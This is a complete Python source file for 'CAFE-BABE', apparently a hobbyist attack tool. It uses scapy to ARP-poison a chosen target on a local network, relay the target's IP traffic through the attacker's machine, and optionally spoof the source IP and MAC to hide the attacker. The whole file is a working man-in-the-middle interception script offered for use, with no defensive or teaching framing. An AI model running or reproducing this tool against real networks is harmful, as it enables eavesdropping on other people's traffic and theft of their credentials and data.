#!/usr/bin/python
"""
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>
"""

from sys import argv
from scapy.all import *
import time, threading

""" Config """
cafe_babe = "00:CA:FE:BA:BE:00"
arp_delay = 3

""" Globals """
ip_target = None
hw_target = None
ip_host = None
hw_host = None
iface = None

""" Program """
def usage( prog ) :
	banner = """
    ___   __   _  ____  ____  _  ____   __   _  ____  ____ 
   / __) / _\ (_)(  __)(  __)(_)(  _ \ / _\ (_)(  _ \(  __)
  ( (__ /    \ _  ) _)  ) _)  _  ) _ (/    \ _  ) _ ( ) _) 
   \___)\_/\_/(_)(__)  (____)(_)(____/\_/\_/(_)(____/(____)

  CAFE-BABE v0.2
  By Alguien (http://alguienenlafisi.blogspot.com)
  
  Usage: %s <target> <host> <iface> [fake_ip]  
	""" % ( prog )
	print banner
	exit(1)

def resend_pkt( pkt ) :
	pkt.dst = hw_host
	sendp( pkt, iface=iface )

def ip_sniffer() :
	print "[+] OK. Starting IP sniffer..."
	filt = "ip and src host %s and ether dst %s" % (ip_target, cafe_babe)
	sniff( filter=filt, iface=iface, prn=resend_pkt )
	
def arp_poisoning() :
	print "[+] OK. Starting ARP Poisoning..."
	pkt = Ether( src=cafe_babe, dst=hw_target ) / \
	      ARP( op=1, hwsrc=cafe_babe, psrc=ip_host, pdst=ip_target )
	sendp( pkt, iface=iface )
	while True :
		pkt = Ether( src=cafe_babe, dst=hw_target ) / \
		      ARP( op=2, hwsrc=cafe_babe, psrc=ip_host, pdst=ip_target )
		sendp( pkt, iface=iface )
		time.sleep( arp_delay )

def get_mac( ip_src, ip_dst, hide_mac ) :
	pkt = Ether( dst="ff:ff:ff:ff:ff:ff" ) / \
	      ARP( op=1, psrc=ip_src, pdst=ip_dst )
	ans, unans = srp( pkt, timeout=3, iface=iface )
	if len( ans ) == 0 :
		print "[-] Error. Unknown MAC for %s" % ( ip_dst )
		exit(1)
	s,r = ans[0]
	hw_dst = r.hwsrc
	print "[*] Information. %s is at %s" % (ip_dst, hw_dst)
	if hide_mac == True :
		time.sleep(1)
		pkt = Ether( dst=hw_dst ) / \
		      ARP( op=2, psrc=ip_src, hwsrc="aa:bb:cc:dd:ee:ff", pdst=ip_dst )
		sendp( pkt, iface=iface )
	return hw_dst

def main( argv=sys.argv ) :
	global ip_target, hw_target, ip_host, hw_host, iface

	if len( argv ) < 4 :
		usage( argv[0] )

	ip_target = argv[1]
	ip_host = argv[2]
	iface = argv[3]
	
	pkt = IP( dst=ip_target )
	fake_ip = pkt.src
	hide_mac = False
	if len( argv ) >= 5 :
		fake_ip = argv[4]
		hide_mac = True
	else :
		print "[!] Warning. Using your real IP (%s) in ARP Request." % (fake_ip)

	hw_target = get_mac( fake_ip, ip_target, hide_mac )
	hw_host = get_mac( fake_ip, ip_host, hide_mac )
	attack = threading.Thread( target=arp_poisoning )
	sniffer = threading.Thread( target=ip_sniffer )
	attack.start()
	sniffer.start()
	attack.join()
	sniffer.join()
	signal.pause()
	return 0

if __name__ == "__main__" :
	sys.exit( main() )
